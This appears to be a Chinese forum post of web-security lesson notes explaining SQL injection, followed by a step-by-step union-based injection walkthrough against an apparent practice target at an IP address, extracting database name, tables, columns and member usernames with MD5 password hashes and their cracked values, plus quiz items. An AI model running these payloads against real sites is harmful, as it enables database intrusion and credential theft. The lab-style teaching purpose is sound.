找回密码
 加入怎通
查看: 230|回复: 6

Web安全(12)——SQL注入之简要SQL注入(sql注入时需要web服务器)

[复制链接]
我来看看 发表于 2023-03-19 12:17:34 | 显示全部楼层 |阅读模式
( l7 _5 ~ F7 @

前言SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

9 e [9 q+ @2 e" E

SQL简介SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统-SQL 语句用于取回和更新数据库中的数据SQL 可与数据库程序协同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。

8 m% ` T: W5 {* a) i' E$ a3 I/ ]

SQL注入SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术SQL注入产生原理对用户输入的参数没有进行严格过滤(如过滤单双引号 尖括号等),就被带到数据库执行,造成了SQL注入。

3 n! i% k0 a/ ?5 d9 ?

使用了字符串拼接的方式构造SQL语句SQL注入的分类从注入手法分类可以分为:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入从数据类型上可以分为:字符型(即输入的输入使用符号进行过滤)、数值型(即输入的输入未使用符号进行过滤)

8 c8 w1 T0 e, ~

从注入位置可以分类为:GET数据(提交数据方式为GET,大多存在地址栏)、POST数据(提交数据方式为POST,大多存在输入框中)、HTTP头部(提交数据方式为HTTP头部)、cookie数据(提交数据方式为cookie)

6 T( d( Q, m8 l+ U! x! i( c/ x

SQL注入的危害分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)数据库信息泄露网页篡改:登陆后台后发布恶意内容网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人

3 @5 g* P7 L$ Z1 P8 |# C4 c

私自添加系统账号读写文件获取webshellMYSQL数据库数据库A=网站A=数据库用户A表名列名数据数据库B=网站B=数据库用户B数据库C=网站C=数据库用户C必要知识在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

) V% C) i0 O( o" l' B. ` R) }

数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名常用参数information_schema.tables:记录所有表名信息的表information_schema.columns:记录所有列名信息的表。

( c) q5 y6 U# G( n( j; ~ z: b8 Y

table_name:表名column_name:列名table_schema:数据库名user() 查看当前MySQL登录的用户名database() 查看当前使用MySQL数据库名version() 查看当前MySQL版本

3 u' L7 d$ r/ i1 e9 @

如何判断注入点如果页面中MySQL报错,证明该页面中存在SQL注入漏洞单引号 and 1=1and 1=2SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常

6 G/ `; V; f* g% k# k; e6 @7 L8 ^

SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误逻辑运算符(或与非)真 且 真 = 真真 且 假 = 假真 或 假 = 真SELECT * FROM users WHERE id=1 真

. M$ R2 q. l& R! ^ n

1=1 真1=2 假真且真=真真且假=假SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常

$ b% }$ r6 [; i! |7 U$ C$ q. s* J6 T$ {

SQL注入利用

1 e% {) h! G7 R$ [

根据注入位置数据类型将sql注入分类利用order判断字段数order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错?id=1 order by 3--+利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数

$ G! c, s& Y1 X( x0 m; G

?id=-1 union select 1,2,3 --+利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号?id=-1 union select 1,database(),version() --+

) e( U& J' |# W4 M7 @) X" p9 y- D

利用 union select 联合查询,获取表名?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=已知库名--+

/ H" d& m9 y" D) U

利用 union select 联合查询,获取字段名?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=已知表名--+

! ?6 W& S1 m! G# e1 d! A( Y

利用 union select 联合查询,获取字段值?id=-1 union select 1,2,group_concat(已知字段名,:已知字段名) from 已知表名--+题目可能存在注入的编号选项有哪几个?

* h( @ ~/ a! S4 p# y k4 `9 X

www.xiaodi8.com/index.php?id=8www.xiaodi8.com/?id=10www.xiaodi8.com/?id=10&x=1www.xiaodi8.com/index.php

2 h( }' D5 e1 l) \$ k

(post注入)参数有x注入,以下哪个注入测试正确A.www.xiaodi8.com/new/php?y=1 and 1=1&x=2B.www.xiaodi8.com/new/php?y=1&x=2 and 1=1

6 a$ { {+ |4 f W( z0 |' f# o1 u7 M

C.www.xiaodi8.com/new/php?y=1 and 1=1 & x=2 and 1=1D.www.xiaodi8.com/new/php?xx=1 and 1=1&xxx=2 and 1=1

) f* N: O; r$ A' }9 U8 h+ h7 s9 k

如果参数id存在注入点参数的位置可以互换,使用工具的时候要注意http://www/cnhgs.net/main.php?id53(注入点) and 1=2 &page=1-> http://www/cnhgs.net/main.php?page=1&id53

9 w1 j# W9 O2 F4 F- G* s& h

(注入点) and 1=2测试演示要选用最舒服的方法测试:SELECT * FROM users WHERE id=1asdsadsad(随便输入) LIMIT 0,1随便输入后对网页有影响说明带入数据库进行查询

" P2 I Q! r* ^: N( `3 x) }; X7 g

有注入点,没有影响说明没有带入数据库查询,出现404错误说明对输入检测 没有漏洞#猜解列名数量(字段数)order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错http://219.153.49.228:43230/new_list.php?id=1 order by 4

3 m3 o1 w* z1 n. G0 j7 u. B

#报错猜解准备http://219.153.49.228:43230/new_list.php?id=1 union select 1,2,3,4http://219.153.49.228:43230/new_list.php?id=-1%20union%20%20select%201,2,3,4

& ^' X y9 F& K6 u8 f/ l7 z

或http://219.153.49.228:43230/new_list.php?id=1%20and%201=22222%20union%20%20select%201,2,3,4#信息收集数据库版本:version()

9 {% y; Y/ Y" E) G* {

5.7.22-0ubuntu0.16.04.1数据库名字:database() mozhe_Discuz_StormGroup数据库用户:user() root@localhost操作系统:@@version_compile_os

" f7 l7 }+ i, v$ i% \. w

Linuxhttp://219.153.49.228:43230/new_list.php?id=-1%20union%20select%201,database(),version(),4http://219.153.49.228:43230/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4

& u! u/ y& G) [4 g7 r

#查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=mozhe_Discuz_StormGroup

# V4 w4 G+ ]) }) d" q: L0 S' q" q

查询所有:http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=mozhe_Discuz_StormGroup

5 ]9 y3 O/ [7 B* _9 o, b

#查询指定表名StormGroup_member下的列名信息http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=StormGroup_member

8 ~! l5 F, `+ A

id,name,password,status#查询指定数据http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

/ K7 H M# b$ F+ j( w& L( P

#猜解多个数据可以采用limit x,1 变动猜解http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1

3 d: H# }/ S" O2 D/ V6 U

mozhe356f589a7df439f6f744ff19bb8092c0 MD5解密 dsan13http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1

9 p7 F9 {% z. d

mozhea26f03bdd67bc4a815c2c30c6daf0ce3 MD5解密 959003

4 z5 z7 h. f4 O: [- b ! D5 T' h( m4 h' t7 | 1 g, e% Q; K. G$ o) R6 v # k( ?, J+ b4 s+ W* Y/ E ' H. N& |& s) P s0 c! i1 ?

暂时无法加载帖子列表

回复

使用道具 举报

回忆 发表于 2026-04-04 06:50:37 | 显示全部楼层
说得很实在,没有夸大其词,这种真实分享太难得了
回复

使用道具 举报

P⑤ 发表于 2026-04-30 06:45:33 | 显示全部楼层
蹲了这么久,终于看到有价值的讨论,支持一下!
回复

使用道具 举报

bhccn 发表于 2026-09-14 14:37:50 | 显示全部楼层
完全赞同,我也是这么认为的,英雄所见略同~
回复

使用道具 举报

太阳 发表于 2026-09-22 18:58:38 | 显示全部楼层
分析得很透彻,很多细节都说到点子上了~
回复

使用道具 举报

心平气和 发表于 2026-09-26 16:02:53 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复

使用道具 举报

wadelee 发表于 2026-11-06 19:24:34 | 显示全部楼层
这个分享太实用了,刚好能用到,感谢楼主!
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-11-6 19:37 , Processed in 0.038353 second(s), 25 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表